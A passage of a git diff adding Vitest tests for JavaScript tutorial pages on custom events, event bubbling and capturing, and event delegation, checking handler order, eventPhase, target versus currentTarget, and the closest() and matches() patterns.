CustomEvent('userLoggedIn', { + detail: { username: 'alice', timestamp: Date.now() } + }) + document.dispatchEvent(event) + + expect(messages).toEqual(['Welcome, alice!']) + + // Cleanup + document.removeEventListener('userLoggedIn', () => {}) + }) + }) + + describe('Real-world Patterns', () => { + it('should support namespaced event names', () => { + const events = [] + + document.addEventListener('cart:updated', (e) => events.push('cart:updated')) + document.addEventListener('modal:opened', (e) => events.push('modal:opened')) + document.addEventListener('user:loggedIn', (e) => events.push('user:loggedIn')) + + document.dispatchEvent(new CustomEvent('cart:updated')) + document.dispatchEvent(new CustomEvent('modal:opened')) + document.dispatchEvent(new CustomEvent('user:loggedIn')) + + expect(events).toEqual(['cart:updated', 'modal:opened', 'user:loggedIn']) + }) + + it('should work with delegation pattern', () => { + const list = document.createElement('ul') + const item1 = document.createElement('li') + const item2 = document.createElement('li') + list.appendChild(item1) + list.appendChild(item2) + document.body.appendChild(list) + + const selectedItems = [] + + // Single listener on parent using delegation + list.addEventListener('item:selected', (e) => { + selectedItems.push(e.detail.itemId) + }) + + // Dispatch from children with bubbles + item1.dispatchEvent(new CustomEvent('item:selected', { + detail: { itemId: 1 }, + bubbles: true + })) + + item2.dispatchEvent(new CustomEvent('item:selected', { + detail: { itemId: 2 }, + bubbles: true + })) + + expect(selectedItems).toEqual([1, 2]) + }) + }) +}) diff --git a/tests/beyond/events/custom-events/custom-events.test.js b/tests/beyond/events/custom-events/custom-events.test.js new file mode 100644 index 00000000..0e71c35f --- /dev/null +++ b/tests/beyond/events/custom-events/custom-events.test.js @@ -0,0 +1,141 @@ +import { describe, it, expect, vi } from 'vitest' + +/** + * Tests for Custom Events concept page + * Source: /docs/beyond/concepts/custom-events.mdx + */ + +describe('Custom Events', () => { + describe('Creating Custom Events', () => { + // MDX lines ~70-90: The CustomEvent Constructor + it('should create a simple custom event with just a name', () => { + const event = new CustomEvent('hello') + + expect(event.type).toBe('hello') + expect(event.detail).toBe(null) + expect(event.bubbles).toBe(false) + expect(event.cancelable).toBe(false) + }) + + it('should create a custom event with detail data', () => { + const event = new CustomEvent('userAction', { + detail: { action: 'click', target: 'button' } + }) + + expect(event.type).toBe('userAction') + expect(event.detail.action).toBe('click') + expect(event.detail.target).toBe('button') + }) + + it('should create a custom event with all options', () => { + const event = new CustomEvent('formSubmit', { + detail: { formId: 'login', data: { user: 'alice' } }, + bubbles: true, + cancelable: true + }) + + expect(event.type).toBe('formSubmit') + expect(event.detail.formId).toBe('login') + expect(event.detail.data.user).toBe('alice') + expect(event.bubbles).toBe(true) + expect(event.cancelable).toBe(true) + }) + + // MDX lines ~95-105: Event Options Explained + it('should have correct default options', () => { + const event = new CustomEvent('test') + + expect(event.detail).toBe(null) + expect(event.bubbles).toBe(false) + expect(event.cancelable).toBe(false) + expect(event.composed).toBe(false) + }) + }) + + describe('Passing Data with detail', () => { + // MDX lines ~115-140: detail property examples + it('should accept primitive values in detail', () => { + const numberEvent = new CustomEvent('count', { detail: 42 }) + const stringEvent = new CustomEvent('message', { detail: 'Hello!' }) + + expect(numberEvent.detail).toBe(42) + expect(stringEvent.detail).toBe('Hello!') + }) + + it('should accept objects in detail', () => { + const timestamp = Date.now() + const event = new CustomEvent('userLoggedIn', { + detail: { + userId: 123, + username: 'alice', + timestamp + } + }) + + expect(event.detail.userId).toBe(123) + expect(event.detail.username).toBe('alice') + expect(event.detail.timestamp).toBe(timestamp) + }) + + it('should accept arrays in detail', () => { + const event = new CustomEvent('itemsSelected', { + detail: ['item1', 'item2', 'item3'] + }) + + expect(event.detail).toEqual(['item1', 'item2', 'item3']) + expect(event.detail.length).toBe(3) + }) + + it('should accept functions in detail', () => { + const getText = () => 'Hello World' + const event = new CustomEvent('callback', { + detail: { getText } + }) + + expect(typeof event.detail.getText).toBe('function') + expect(event.detail.getText()).toBe('Hello World') + }) + + // MDX lines ~145-160: Accessing detail in listeners + it('should provide read-only detail property (reference)', () => { + const originalDetail = { username: 'alice', userId: 123 } + const event = new CustomEvent('test', { detail: originalDetail }) + + // detail property itself is read-only (can't reassign) + // but the object reference is the same, so mutations affect it + expect(event.detail.username).toBe('alice') + + // Mutating the object works (though not recommended) + event.detail.username = 'bob' + expect(event.detail.username).toBe('bob') + }) + }) + + describe('Custom Events vs Native Events', () => { + // MDX lines ~295-310: The isTrusted Property + it('should have isTrusted set to false for custom events', () => { + const event = new CustomEvent('customClick') + + expect(event.isTrusted).toBe(false) + }) + + it('should inherit from Event', () => { + const event = new CustomEvent('test', { detail: { value: 1 } }) + + expect(event instanceof Event).toBe(true) + expect(event instanceof CustomEvent).toBe(true) + }) + }) + + describe('Test Your Knowledge Examples', () => { + // MDX Question 1 + it('Question 1: should show detail.value and isTrusted', () => { + const event = new CustomEvent('test', { + detail: { value: 42 } + }) + + expect(event.detail.value).toBe(42) + expect(event.isTrusted).toBe(false) + }) + }) +}) diff --git a/tests/beyond/events/event-bubbling-capturing/event-bubbling-capturing.dom.test.js b/tests/beyond/events/event-bubbling-capturing/event-bubbling-capturing.dom.test.js new file mode 100644 index 00000000..d2aab674 --- /dev/null +++ b/tests/beyond/events/event-bubbling-capturing/event-bubbling-capturing.dom.test.js @@ -0,0 +1,682 @@ +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +// ============================================================ +// EVENT BUBBLING & CAPTURING TESTS +// From event-bubbling-capturing.mdx +// ============================================================ + +describe('Event Bubbling & Capturing', () => { + let container + + beforeEach(() => { + container = document.createElement('div') + container.id = 'test-container' + document.body.appendChild(container) + }) + + afterEach(() => { + document.body.innerHTML = '' + vi.restoreAllMocks() + }) + + // ============================================================ + // EVENT BUBBLING IN ACTION + // From lines ~95-120 + // ============================================================ + + describe('Event Bubbling in Action', () => { + // From lines ~95-115: Nested element click bubbling + it('should bubble events from child to parent to grandparent', () => { + // Setup HTML structure + const grandparent = document.createElement('div') + grandparent.className = 'grandparent' + + const parent = document.createElement('div') + parent.className = 'parent' + + const child = document.createElement('button') + child.className = 'child' + child.textContent = 'Click me' + + parent.appendChild(child) + grandparent.appendChild(parent) + container.appendChild(grandparent) + + // Track order of handler calls + const output = [] + + grandparent.addEventListener('click', () => { + output.push('Grandparent clicked') + }) + + parent.addEventListener('click', () => { + output.push('Parent clicked') + }) + + child.addEventListener('click', () => { + output.push('Child clicked') + }) + + // Click the child button + child.click() + + // Events bubble from child → parent → grandparent + expect(output).toEqual([ + 'Child clicked', + 'Parent clicked', + 'Grandparent clicked' + ]) + }) + + // From lines ~120-140: Event delegation pattern + it('should enable event delegation via bubbling', () => { + const buttonContainer = document.createElement('div') + buttonContainer.className = 'button-container' + + const btn1 = document.createElement('button') + btn1.className = 'btn' + btn1.textContent = 'Button 1' + + const btn2 = document.createElement('button') + btn2.className = 'btn' + btn2.textContent = 'Button 2' + + buttonContainer.appendChild(btn1) + buttonContainer.appendChild(btn2) + container.appendChild(buttonContainer) + + const clicks = [] + + // Single listener on parent (event delegation) + buttonContainer.addEventListener('click', (e) => { + if (e.target.matches('.btn')) { + clicks.push(e.target.textContent) + } + }) + + btn1.click() + btn2.click() + + expect(clicks).toEqual(['Button 1', 'Button 2']) + }) + }) + + // ============================================================ + // LISTENING DURING CAPTURING PHASE + // From lines ~145-185 + // ============================================================ + + describe('Listening During Capturing Phase', () => { + // From lines ~170-185: Capture vs bubble order + it('should fire capturing handlers before bubbling handlers', () => { + const parent = document.createElement('div') + parent.className = 'parent' + + const child = document.createElement('button') + child.className = 'child' + + parent.appendChild(child) + container.appendChild(parent) + + const output = [] + + // Capturing handler (fires first, on way down) + parent.addEventListener('click', () => { + output.push('Parent - capturing') + }, true) + + // Target handler + child.addEventListener('click', () => { + output.push('Child - target') + }) + + // Bubbling handler (fires last, on way up) + parent.addEventListener('click', () => { + output.push('Parent - bubbling') + }) + + child.click() + + expect(output).toEqual([ + 'Parent - capturing', + 'Child - target', + 'Parent - bubbling' + ]) + }) + + // From lines ~155-160: Different ways to specify capture + it('should accept different capture option formats', () => { + const element = document.createElement('div') + container.appendChild(element) + + const handlers = [] + + // All these are equivalent for capture: true + const handler1 = () => handlers.push(1) + const handler2 = () => handlers.push(2) + + element.addEventListener('click', handler1, true) + element.addEventListener('click', handler2, { capture: true }) + + element.click() + + // Both handlers should fire + expect(handlers).toContain(1) + expect(handlers).toContain(2) + }) + }) + + // ============================================================ + // THE eventPhase PROPERTY + // From lines ~190-230 + // ============================================================ + + describe('The eventPhase Property', () => { + // From lines ~195-205: eventPhase values + it('should return correct eventPhase values during propagation', () => { + const parent = document.createElement('div') + parent.className = 'parent' + + const child = document.createElement('button') + child.className = 'child' + + parent.appendChild(child) + container.appendChild(parent) + + const phases = [] + + // Capture phase listener on parent + parent.addEventListener('click', (e) => { + phases.push({ element: 'parent-capture', phase: e.eventPhase }) + }, true) + + // Bubble phase listener on parent + parent.addEventListener('click', (e) => { + phases.push({ element: 'parent-bubble', phase: e.eventPhase }) + }) + + // Target listener on child + child.addEventListener('click', (e) => { + phases.push({ element: 'child', phase: e.eventPhase }) + }) + + child.click() + + // eventPhase: 1 = CAPTURING, 2 = AT_TARGET, 3 = BUBBLING + expect(phases).toEqual([ + { element: 'parent-capture', phase: 1 }, // CAPTURING_PHASE + { element: 'child', phase: 2 }, // AT_TARGET + { element: 'parent-bubble', phase: 3 } // BUBBLING_PHASE + ]) + }) + + // From lines ~220-230: Both handlers fire at target when clicking directly + it('should report AT_TARGET phase for both capture and bubble on clicked element', () => { + const element = document.createElement('div') + element.className = 'parent' + container.appendChild(element) + + const phases = [] + + element.addEventListener('click', (e) => { + phases.push({ handler: 'capture', phase: e.eventPhase }) + }, true) + + element.addEventListener('click', (e) => { + phases.push({ handler: 'bubble', phase: e.eventPhase }) + }) + + // Click the element directly (not a child) + element.click() + + // Both are AT_TARGET (2) when clicking the element itself + expect(phases).toEqual([ + { handler: 'capture', phase: 2 }, + { handler: 'bubble', phase: 2 } + ]) + }) + }) + + // ============================================================ + // event.target vs event.currentTarget + // From lines ~235-275 + // ============================================================ + + describe('event.target vs event.currentTarget', () => { + // From lines ~240-255: target vs currentTarget difference + it('should distinguish target from currentTarget during bubbling', () => { + const parent = document.createElement('div') + parent.className = 'parent' + + const child = document.createElement('button') + child.className = 'child' + + parent.appendChild(child) + container.appendChild(parent) + + let capturedTarget = null + let capturedCurrentTarget = null + + parent.addEventListener('click', (e) => { + capturedTarget = e.target.className + capturedCurrentTarget = e.currentTarget.className + }) + + // Click the child, handler is on parent + child.click() + + expect(capturedTarget).toBe('child') // What was clicked + expect(capturedCurrentTarget).toBe('parent') // Where listener is + }) + + // From lines ~260-275: Using closest() for delegation + it('should find correct element using closest() in delegated handler', () => { + const list = document.createElement('ul') + list.className = 'list' + + const item1 = document.createElement('li') + item1.innerHTML = '<span>Item 1</span>' + + const item2 = document.createElement('li') + item2.innerHTML = '<span>Item 2</span>' + + list.appendChild(item1) + list.appendChild(item2) + container.appendChild(list) + + const clickedItems = [] + + list.addEventListener('click', (e) => { + const listItem = e.target.closest('li') + if (listItem) { + clickedItems.push(listItem.textContent) + } + }) + + // Click the span inside item1 (not the li directly) + item1.querySelector('span').click() + + expect(clickedItems).toEqual(['Item 1']) + }) + }) + + // ============================================================ + // STOPPING EVENT PROPAGATION + // From lines ~280-360 + // ============================================================ + + describe('Stopping Event Propagation', () => { + // From lines ~285-310: stopPropagation allows same-element handlers + it('should stop propagation but allow other handlers on same element', () => { + const parent = document.createElement('div') + parent.className = 'parent' + + const child = document.createElement('button') + child.className = 'child' + + parent.appendChild(child) + container.appendChild(parent) + + const output = [] + + parent.addEventListener('click', () => { + output.push('Parent handler') + }) + + child.addEventListener('click', (e) => { + output.push('Child handler 1') + e.stopPropagation() + }) + + child.addEventListener('click', () => { + output.push('Child handler 2') + }) + + child.click() + + // stopPropagation stops parent but not other child handlers + expect(output).toEqual([ + 'Child handler 1', + 'Child handler 2' + ]) + expect(output).not.toContain('Parent handler') + }) + + // From lines ~315-335: stopImmediatePropagation stops everything + it('should stop all handlers including same element with stopImmediatePropagation', () => { + const child = document.createElement('button') + child.className = 'child' + container.appendChild(child) + + const output = [] + + child.addEventListener('click', (e) => { + output.push('Child handler 1') + e.stopImmediatePropagation() + }) + + child.addEventListener('click', () => { + output.push('Child handler 2') + }) + + child.click() + + expect(output).toEqual(['Child handler 1']) + expect(output).not.toContain('Child handler 2') + }) + + // From lines ~340-360: stopPropagation vs preventDefault + it('should distinguish stopPropagation from preventDefault', () => { + const parent = document.createElement('div') + const link = document.createElement('a') + link.href = 'https://example.com' + link.textContent = 'Click me' + + parent.appendChild(link) + container.appendChild(parent) + + let parentHandlerFired = false + let defaultPrevented = false + + parent.addEventListener('click', () => { + parentHandlerFired = true + }) + + link.addEventListener('click', (e) => { + e.preventDefault() // Stop navigation + defaultPrevented = e.defaultPrevented + // NOT calling stopPropagation - event should still bubble + }) + + link.click() + + // preventDefault stops default action, not bubbling + expect(defaultPrevented).toBe(true) + expect(parentHandlerFired).toBe(true) // Event still bubbled + }) + + it('should stop bubbling with stopPropagation but not prevent default', () => { + const parent = document.createElement('div') + const link = document.createElement('a') + link.href = 'https://example.com' + + parent.appendChild(link) + container.appendChild(parent) + + let parentHandlerFired = false + + parent.addEventListener('click', () => { + parentHandlerFired = true + }) + + link.addEventListener('click', (e) => { + e.stopPropagation() // Stop bubbling + // NOT calling preventDefault - default would happen (if not jsdom) + }) + + link.click() + + // stopPropagation stops bubbling + expect(parentHandlerFired).toBe(false) + }) + }) + + // ============================================================ + // EVENTS THAT DON'T BUBBLE + // From lines ~380-420 + // ============================================================ + + describe('Events That Don\'t Bubble', () => { + // From lines ~385-395: focus doesn't bubble + it('should not bubble focus events', () => { + const form = document.createElement('form') + const input = document.createElement('input') + input.type = 'text' + + form.appendChild(input) + container.appendChild(form) + + let formFocusFired = false + + form.addEventListener('focus', () => { + formFocusFired = true + }) + + input.focus() + + // focus doesn't bubble + expect(formFocusFired).toBe(false) + }) + + // From lines ~395-405: focusin does bubble + it('should bubble focusin events (alternative to focus)', () => { + const form = document.createElement('form') + const input = document.createElement('input') + input.type = 'text' + + form.appendChild(input) + container.appendChild(form) + + let formFocusinFired = false + + form.addEventListener('focusin', () => { + formFocusinFired = true + }) + + input.focus() + + // focusin DOES bubble + expect(formFocusinFired).toBe(true) + }) + + // From lines ~410-420: checking bubbles property + it('should allow checking if event bubbles via bubbles property', () => { + // Use an input element since it's focusable + const input = document.createElement('input') + input.type = 'text' + container.appendChild(input) + + let clickBubbles = null + let focusBubbles = null + + input.addEventListener('click', (e) => { + clickBubbles = e.bubbles + }) + + input.addEventListener('focus', (e) => { + focusBubbles = e.bubbles + }) + + input.click() + input.focus() + + expect(clickBubbles).toBe(true) + expect(focusBubbles).toBe(false) + }) + }) + + // ============================================================ + // WHEN TO USE CAPTURING + // From lines ~425-470 + // ============================================================ + + describe('When to Use Capturing', () => { + // From lines ~430-440: Intercepting events before target + it('should intercept events before they reach target using capture', () => { + const output = [] + + const button = document.createElement('button') + container.appendChild(button) + + // Capture listener on document logs first + document.addEventListener('click', () => { + output.push('Document captured click') + }, true) + + button.addEventListener('click', () => { + output.push('Button clicked') + }) + + button.click() + + expect(output[0]).toBe('Document captured click') + expect(output[1]).toBe('Button clicked') + + // Cleanup + document.removeEventListener('click', () => {}, true) + }) + + // From lines ~445-460: Cancel all clicks pattern + it('should block events using capture phase', () => { + let disableClicks = true + const output = [] + + const button = document.createElement('button') + container.appendChild(button) + + // Capture handler that can block + const blocker = (e) => { + if (disableClicks) { + e.stopPropagation() + output.push('Click blocked!') + } + } + + container.addEventListener('click', blocker, true) + + button.addEventListener('click', () => { + output.push('Button clicked') + }) + + // With disableClicks = true, click is blocked + button.click() + expect(output).toEqual(['Click blocked!']) + + // Enable clicks + disableClicks = false + output.length = 0 + button.click() + expect(output).toEqual(['Button clicked']) + }) + }) + + // ============================================================ + // COMMON MISTAKES + // From lines ~475-530 + // ============================================================ + + describe('Common Mistakes', () => { + // From lines ~480-495: Forgetting capture when removing listeners + it('should fail to remove listener if capture flag mismatches', () => { + const element = document.createElement('button') + container.appendChild(element) + + let callCount = 0 + const handler = () => callCount++ + + // Add with capture: true + element.addEventListener('click', handler, true) + + // Try to remove without capture (wrong!) + element.removeEventListener('click', handler) + + // Handler still attached + element.click() + expect(callCount).toBe(1) + + // Correct removal with matching capture flag + element.removeEventListener('click', handler, true) + element.click() + expect(callCount).toBe(1) // No additional calls + }) + + // From lines ~510-530: Using correct property (target vs currentTarget) + it('should use closest() instead of just target for delegation', () => { + const list = document.createElement('ul') + + const item = document.createElement('li') + const span = document.createElement('span') + span.textContent = 'Click me' + span.className = 'inner' + item.className = 'item' + + item.appendChild(span) + list.appendChild(item) + container.appendChild(list) + + let wrongSelection = null + let correctSelection = null + + list.addEventListener('click', (e) => { + // Wrong: might select the span, not the li + wrongSelection = e.target.className + + // Correct: find the actual list item + const listItem = e.target.closest('li') + correctSelection = listItem ? listItem.className : null + }) + + // Click the span inside the li + span.click() + + expect(wrongSelection).toBe('inner') // Got the span + expect(correctSelection).toBe('item') // Got the li + }) + }) + + // ============================================================ + // MULTIPLE HANDLERS ORDER + // ============================================================ + + describe('Handler Execution Order', () => { + it('should execute same-element handlers in registration order', () => { + const element = document.createElement('div') + container.appendChild(element) + + const output = [] + + element.addEventListener('click', () => output.push(1)) + element.addEventListener('click', () => output.push(2)) + element.addEventListener('click', () => output.push(3)) + + element.click() + + expect(output).toEqual([1, 2, 3]) + }) + + it('should execute capturing handlers before bubbling handlers at any level', () => { + const grandparent = document.createElement('div') + const parent = document.createElement('div') + const child = document.createElement('button') + + parent.appendChild(child) + grandparent.appendChild(parent) + container.appendChild(grandparent) + + const output = [] + + // Mix of capture and bubble handlers + grandparent.addEventListener('click', () => output.push('GP-capture'), true) + parent.addEventListener('click', () => output.push('P-capture'), true) + grandparent.addEventListener('click', () => output.push('GP-bubble')) + parent.addEventListener('click', () => output.push('P-bubble')) + child.addEventListener('click', () => output.push('Child')) + + child.click() + + // Capture phase (down): GP → P + // Target phase: Child + // Bubble phase (up): P → GP + expect(output).toEqual([ + 'GP-capture', + 'P-capture', + 'Child', + 'P-bubble', + 'GP-bubble' + ]) + }) + }) +}) diff --git a/tests/beyond/events/event-delegation/event-delegation.test.js b/tests/beyond/events/event-delegation/event-delegation.test.js new file mode 100644 index 00000000..600db6d6 --- /dev/null +++ b/tests/beyond/events/event-delegation/event-delegation.test.js @@ -0,0 +1,535 @@ +/** + * @vitest-environment jsdom + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +/** + * Tests for Event Delegation concept page + * Source: docs/beyond/concepts/event-delegation.mdx + */ + +describe('Event Delegation', () => { + let container + + beforeEach(() => { + // Set up a fresh DOM container for each test + container = document.createElement('div') + container.id = 'test-container' + document.body.appendChild(container) + }) + + afterEach(() => { + // Clean up after each test + document.body.removeChild(container) + container = null + }) + + describe('event.target vs event.currentTarget', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:78-85 + it('should demonstrate target vs currentTarget difference', () => { + // Set up nested structure + container.innerHTML = ` + <ul id="menu"> + <li> + <button id="test-button">Click</button> + </li> + </ul> + ` + + const menu = document.getElementById('menu') + const button = document.getElementById('test-button') + + let capturedTarget = null + let capturedCurrentTarget = null + + menu.addEventListener('click', (event) => { + capturedTarget = event.target + capturedCurrentTarget = event.currentTarget + }) + + // Simulate click on the button + button.click() + + // target is the button (what was clicked) + expect(capturedTarget).toBe(button) + expect(capturedTarget.tagName).toBe('BUTTON') + + // currentTarget is the ul (where listener is attached) + expect(capturedCurrentTarget).toBe(menu) + expect(capturedCurrentTarget.tagName).toBe('UL') + }) + + // Source: docs/beyond/concepts/event-delegation.mdx:87-102 + it('should show target changes based on click location while currentTarget stays constant', () => { + container.innerHTML = ` + <div id="outer"> + <p id="para"> + <span id="inner">Click me</span> + </p> + </div> + ` + + const outer = document.getElementById('outer') + const span = document.getElementById('inner') + const para = document.getElementById('para') + + const targets = [] + const currentTargets = [] + + outer.addEventListener('click', (event) => { + targets.push(event.target) + currentTargets.push(event.currentTarget) + }) + + // Click the span + span.click() + expect(targets[0]).toBe(span) + expect(currentTargets[0]).toBe(outer) + + // Click the paragraph + para.click() + expect(targets[1]).toBe(para) + expect(currentTargets[1]).toBe(outer) // Always outer + }) + }) + + describe('Element.matches() for filtering', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:104-130 + it('should filter events using matches()', () => { + container.innerHTML = ` + <div class="container"> + <button class="btn">Regular</button> + <button class="btn delete-btn">Delete</button> + <button class="btn primary" disabled>Disabled Primary</button> + <button class="btn primary">Enabled Primary</button> + <span data-action="test">Not a button</span> + </div> + ` + + const containerEl = container.querySelector('.container') + const results = [] + + containerEl.addEventListener('click', (event) => { + if (event.target.matches('button')) { + results.push('button') + } + if (event.target.matches('.delete-btn')) { + results.push('delete') + } + if (event.target.matches('[data-action]')) { + results.push('action: ' + event.target.dataset.action) + } + if (event.target.matches('button.primary:not(:disabled)')) { + results.push('enabled-primary') + } + }) + + // Click delete button + container.querySelector('.delete-btn').click() + expect(results).toContain('button') + expect(results).toContain('delete') + + // Reset and click span with data-action + results.length = 0 + container.querySelector('[data-action]').click() + expect(results).toContain('action: test') + expect(results).not.toContain('button') + + // Reset and click enabled primary button + results.length = 0 + container.querySelector('button.primary:not(:disabled)').click() + expect(results).toContain('button') + expect(results).toContain('enabled-primary') + }) + }) + + describe('Element.closest() for nested elements', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:132-162 + it('should find ancestor elements using closest()', () => { + container.innerHTML = ` + <div class="container"> + <button class="action-btn"> + <i class="icon" id="icon-element">icon</i> + <span id="span-element">Delete</span> + </button> + </div> + ` + + const containerEl = container.querySelector('.container') + const icon = document.getElementById('icon-element') + const span = document.getElementById('span-element') + const button = container.querySelector('.action-btn') + + let foundButton = null + + containerEl.addEventListener('click', (event) => { + // Use closest to find the button, regardless of what was clicked + foundButton = event.target.closest('.action-btn') + }) + + // Click the icon inside the button + icon.click() + expect(foundButton).toBe(button) + + // Click the span inside the button + foundButton = null + span.click() + expect(foundButton).toBe(button) + + // Click the button itself + foundButton = null + button.click() + expect(foundButton).toBe(button) + }) + + it('should return null when no ancestor matches', () => { + container.innerHTML = ` + <div class="container"> + <span class="outside">Outside</span> + <button class="action-btn">Inside</button> + </div> + ` + + const containerEl = container.querySelector('.container') + const outside = container.querySelector('.outside') + + let foundButton = null + + containerEl.addEventListener('click', (event) => { + foundButton = event.target.closest('.action-btn') + }) + + outside.click() + expect(foundButton).toBeNull() + }) + }) + + describe('Basic event delegation pattern', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:188-215 + it('should handle clicks on list items with delegation', () => { + container.innerHTML = ` + <ul id="todo-list"> + <li data-id="1">Buy groceries</li> + <li data-id="2">Walk the dog</li> + <li data-id="3">Finish report</li> + </ul> + ` + + const todoList = document.getElementById('todo-list') + const clickedIds = [] + + todoList.addEventListener('click', (event) => { + const item = event.target.closest('li') + if (item) { + clickedIds.push(item.dataset.id) + item.classList.toggle('completed') + } + }) + + // Click first item + container.querySelector('li[data-id="1"]').click() + expect(clickedIds).toContain('1') + expect(container.querySelector('li[data-id="1"]').classList.contains('completed')).toBe(true) + + // Click second item + container.querySelector('li[data-id="2"]').click() + expect(clickedIds).toContain('2') + + // Click first item again to toggle off + container.querySelector('li[data-id="1"]').click() + expect(container.querySelector('li[data-id="1"]').classList.contains('completed')).toBe(false) + }) + }) + + describe('Handling dynamic elements', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:221-262 + it('should automatically handle dynamically added elements', () => { + container.innerHTML = `<ul id="todo-list"></ul>` + + const todoList = document.getElementById('todo-list') + const clickedTexts = [] + + // Set up delegation BEFORE adding items + todoList.addEventListener('click', (event) => { + if (event.target.matches('li')) { + clickedTexts.push(event.target.textContent) + event.target.classList.toggle('completed') + } + }) + + // Add items dynamically + function addTodo(text) { + const li = document.createElement('li') + li.textContent = text + todoList.appendChild(li) + } + + addTodo('First task') + addTodo('Second task') + addTodo('Third task') + + // Click dynamically added items - they should work! + const items = todoList.querySelectorAll('li') + items[0].click() + items[1].click() + + expect(clickedTexts).toEqual(['First task', 'Second task']) + expect(items[0].classList.contains('completed')).toBe(true) + expect(items[1].classList.contains('completed')).toBe(true) + expect(items[2].classList.contains('completed')).toBe(false) + }) + }) + + describe('Action buttons with data-action pattern', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:308-334 + it('should dispatch to correct action based on data-action attribute', () => { + container.innerHTML = ` + <div id="toolbar"> + <button data-action="save">Save</button> + <button data-action="load">Load</button> + <button data-action="delete">Delete</button> + </div> + ` + + const executedActions = [] + const actions = { + save() { executedActions.push('save') }, + load() { executedActions.push('load') }, + delete() { executedActions.push('delete') } + } + + const toolbar = document.getElementById('toolbar') + toolbar.addEventListener('click', (event) => { + const action = event.target.dataset.action + if (action && actions[action]) { + actions[action]() + } + }) + + // Click save button + container.querySelector('[data-action="save"]').click() + expect(executedActions).toEqual(['save']) + + // Click delete button + container.querySelector('[data-action="delete"]').click() + expect(executedActions).toEqual(['save', 'delete']) + + // Click load button + container.querySelector('[data-action="load"]').click() + expect(executedActions).toEqual(['save', 'delete', 'load']) + }) + }) + + describe('Tab interface pattern', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:336-361 + it('should switch tabs using delegation', () => { + container.innerHTML = ` + <div class="tabs"> + <button class="tab" data-tab="home">Home</button> + <button class="tab" data-tab="profile">Profile</button> + <button class="tab" data-tab="settings">Settings</button> + </div> + <div class="tab-content" id="home">Home content</div> + <div class="tab-content" id="profile" hidden>Profile content</div> + <div class="tab-content" id="settings" hidden>Settings content</div> + ` + + const tabsContainer = container.querySelector('.tabs') + + tabsContainer.addEventListener('click', (event) => { + const tab = event.target.closest('.tab') + if (!tab) return + + // Remove active class from all tabs + container.querySelectorAll('.tab').forEach(t => t.classList.remove('active')) + tab.classList.add('active') + + // Hide all content, show selected + const tabId = tab.dataset.tab + container.querySelectorAll('.tab-content').forEach(content => { + content.hidden = content.id !== tabId + }) + }) + + // Click profile tab + container.querySelector('[data-tab="profile"]').click() + + expect(container.querySelector('[data-tab="profile"]').classList.contains('active')).toBe(true) + expect(container.querySelector('[data-tab="home"]').classList.contains('active')).toBe(false) + expect(document.getElementById('profile').hidden).toBe(false) + expect(document.getElementById('home').hidden).toBe(true) + expect(document.getElementById('settings').hidden).toBe(true) + + // Click settings tab + container.querySelector('[data-tab="settings"]').click() + + expect(container.querySelector('[data-tab="settings"]').classList.contains('active')).toBe(true) + expect(container.querySelector('[data-tab="profile"]').classList.contains('active')).toBe(false) + expect(document.getElementById('settings').hidden).toBe(false) + expect(document.getElementById('profile').hidden).toBe(true) + }) + }) + + describe('Container boundary verification', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:468-482 + it('should verify element is within container using contains()', () => { + container.innerHTML = ` + <table id="outer-table"> + <tr> + <td> + Outer cell + <table id="inner-table"> + <tr><td id="inner-cell">Inner cell</td></tr> + </table> + </td> + </tr> + <tr><td id="outer-cell">Real outer cell</td></tr> + </table> + ` + + const outerTable = document.getElementById('outer-table') + const innerCell = document.getElementById('inner-cell') + const outerCell = document.getElementById('outer-cell') + + const handledCells = [] + + outerTable.addEventListener('click', (event) => { + const td = event.target.closest('td') + + // Only handle cells that are direct children of outer table + // Using a more specific check + if (td && td.closest('table') === outerTable) { + handledCells.push(td.id || 'unnamed') + } + }) + + // Click inner cell - should NOT be handled (belongs to inner table) + innerCell.click() + expect(handledCells).not.toContain('inner-cell') + + // Click outer cell - should be handled + outerCell.click() + expect(handledCells).toContain('outer-cell') + }) + }) + + describe('focusin/focusout delegation (bubbling alternatives)', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:444-461 + it('should delegate focus events using focusin/focusout', () => { + container.innerHTML = ` + <form class="form"> + <input type="text" id="input1" /> + <input type="email" id="input2" /> + </form> + ` + + const form = container.querySelector('.form') + const input1 = document.getElementById('input1') + const input2 = document.getElementById('input2') + + const focusedInputs = [] + const blurredInputs = [] + + // focusin and focusout bubble, unlike focus and blur + form.addEventListener('focusin', (event) => { + if (event.target.matches('input')) { + event.target.classList.add('focused') + focusedInputs.push(event.target.id) + } + }) + + form.addEventListener('focusout', (event) => { + if (event.target.matches('input')) { + event.target.classList.remove('focused') + blurredInputs.push(event.target.id) + } + }) + + // Focus first input + input1.focus() + expect(focusedInputs).toContain('input1') + expect(input1.classList.contains('focused')).toBe(true) + + // Focus second input (should blur first) + input2.focus() + expect(focusedInputs).toContain('input2') + expect(blurredInputs).toContain('input1') + expect(input2.classList.contains('focused')).toBe(true) + expect(input1.classList.contains('focused')).toBe(false) + }) + }) + + describe('Common mistakes', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:519-530 + describe('Mistake 1: Not using closest() for nested elements', () => { + it('should demonstrate why matches() alone fails with nested elements', () => { + container.innerHTML = ` + <div class="container"> + <button class="btn"> + <span class="icon">X</span> + <span class="text">Delete</span> + </button> + </div> + ` + + const containerEl = container.querySelector('.container') + const icon = container.querySelector('.icon') + + let matchesFound = false + let closestFound = null + + containerEl.addEventListener('click', (event) => { + // Wrong way - matches() returns false for child elements + matchesFound = event.target.matches('.btn') + + // Right way - closest() finds the button ancestor + closestFound = event.target.closest('.btn') + }) + + // Click on the icon inside the button + icon.click() + + // matches() fails because icon is not .btn + expect(matchesFound).toBe(false) + + // closest() succeeds by traversing up to find .btn + expect(closestFound).not.toBeNull() + expect(closestFound.classList.contains('btn')).toBe(true) + }) + }) + }) + + describe('Performance comparison', () => { + // Source: docs/beyond/concepts/event-delegation.mdx:409-425 + it('should handle many elements with single listener', () => { + // Create 100 items + container.innerHTML = '<ul class="list"></ul>' + 